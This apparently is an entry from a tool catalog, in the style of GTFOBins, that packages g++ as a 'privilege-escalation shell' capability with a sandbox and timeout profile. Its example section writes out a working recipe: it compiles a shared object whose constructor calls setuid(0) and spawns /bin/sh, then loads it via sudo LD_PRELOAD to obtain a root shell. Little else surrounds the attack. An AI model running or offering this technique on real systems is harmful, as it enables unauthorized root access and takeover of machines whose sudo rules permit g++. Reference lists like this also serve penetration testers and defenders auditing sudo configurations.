build enabled community medium v1.0.0

g++

GNU C++ compiler, can execute code and spawn shells via compiled shared objects.

📋 Live Preview
g++ -shared -o /tmp/x.so -fPIC /path/to/src && g++ -o /dev/null -Wl,--no-as-needed -ldl /dev/null
g++ -shared -o /tmp/x.so -fPIC /path/to/src && g++ -o /dev/null -Wl,--no-as-needed -ldl /dev/null

Sandbox: execFile · Timeout: 60s

Capabilities

security.privilege-escalation.shell
security.execution.command

Contract

Outputs

process.output

Shell output

Side effects: process_spawn

Workflow Edges

Produces

process.output

Resource Profile

ResourceValue
CPUlow
Memory16 MB
Networknone
Disk I/Olow

Examples

Spawn a shell via g++ compiled shared object

echo '#include <stdlib.h>' >x.cc
echo 'void __attribute__((constructor)) x() { setuid(0); system("/bin/sh"); }' >>x.cc
g++ -shared -o /tmp/x.so -fPIC x.cc
sudo LD_PRELOAD=/tmp/x.so g++ -o /dev/null -Wl,--no-as-needed -ldl /dev/null

Related Tools

gcccc

References